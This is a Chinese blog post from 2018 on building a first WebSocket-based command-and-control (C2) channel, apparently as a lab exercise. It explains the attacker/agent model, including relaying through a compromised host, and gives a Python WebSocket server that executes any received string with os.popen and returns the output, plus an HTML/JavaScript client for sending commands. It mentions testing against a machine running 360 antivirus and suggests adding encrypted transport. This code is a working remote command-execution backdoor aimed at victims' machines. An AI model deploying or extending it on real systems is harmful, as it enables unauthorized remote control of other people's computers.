第一个c2通信脚本
0x00前言
这几天在学校的实验室折腾c2通信。从一开始的不懂后面慢慢弄懂了,所谓的c2通信原理
是基于websocket上的操作。
0x01正文
原理:
1.控制器运行Web / WebSocket服务器以及命令行界面,允许攻击者为代理输入命令
2.代理程序在受害者的计算机上运行并执行从C2接收的任何指令,与处理与C2服务器的所有通信的浏览器进程交互
3.通过COM接口控制的浏览器进程(Internet Explorer / Edge)通过WebScoket通道处理代理与C2服务器之间的所有通信
连接过程
第一种:
1.创建websocket然后调用js进行连接
2.将创建好的websocket放入到受害者机子
3.本地调用js连接然后执行命令由受害者端接收到进行命令执行在返回给攻击者
第二种:
1.在肉鸡上创建websocket
2.然后受害者连接,然后攻击者访问肉鸡执行命令
3.受害者接收到执行命令,然后返回给肉鸡
代码
服务端
import asyncio
import websockets
import os
import sys
async def hello(websocket,path):
try:
while True:
name = await websocket.recv() #接收客户端的信息
zx=os.popen(name) #执行命令
await websocket.send(zx.read()) #返回给客户端
except Exception as r:
print('[-] Error {}'.format(r))
start_server=websockets.serve(hello,'{}'.format(sys.argv[1]),sys.argv[2]) #创建websocket
asyncio.get_event_loop().run_until_complete(start_server) #异步
asyncio.get_event_loop().run_forever()
客户端
<html>
<head>
<meta charset="UTF-8">
<title>Web sockets test</title>
<script src="jquery-min.js" type="text/javascript"></script>
<script type="text/javascript">
var ws;
function ToggleConnectionClicked() {
try {
ws = new WebSocket("ws://IP:PORT");//连接服务器 (连接websocket服务器)
ws.onopen = function(event){alert("已经与服务器建立了连接\r\n当前连接状 (连接成功后触发的事件)态:"+this.readyState);};
ws.onmessage = function(event){alert("接收到服务器发送的数据:\r\n"+event.data);}; (接收到数据触发的事件)
ws.onclose = function(event){alert("已经与服务器断开连接\r\n当前连接状态:"+this.readyState);}; //异常触发的事件
ws.onerror = function(event){alert("WebSocket异常!");};
} catch (ex) {
alert(ex.message);
}
};
function SendData() {
try{
var content = document.getElementById("content").value;
if(content){
ws.send(content);
}
}catch(ex){
alert(ex.message);
}
};
function seestate(){
alert(ws.readyState);
}
</script>
</head>
<body>
<button id='ToggleConnection' type="button" onclick='ToggleConnectionClicked();'>连接服务器</button><br /><br />
<textarea id="content" ></textarea>
<button id='ToggleConnection' type="button" onclick='SendData();'>发送我的名字:beston</button><br /><br />
<button id='ToggleConnection' type="button" onclick='seestate();'>查看状态</button><br /><br />
</body>
</html>
测试
在安有360的机子上进行测试:
视频:c2通信实现—其他—视频高清在线观看-优酷
一些c2的项目
GitHub - nettitude/PoshC2: Powershell C2 Server and Implants
GitHub - Arno0x/WSC2: A WebSocket C2 Tool
参考文章
Using WebSockets and IE/Edge for C2 communications – arno0x0x
github地址:python/c2项目 at master · 422926799/python · GitHub
后续开发的一些建议
1.实现以上说的方法
2.加密传输
转载请注明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:第一个c2通信脚本
本文作者:九世
发布时间:2018-12-14, 18:13:48
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/d6f76024.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。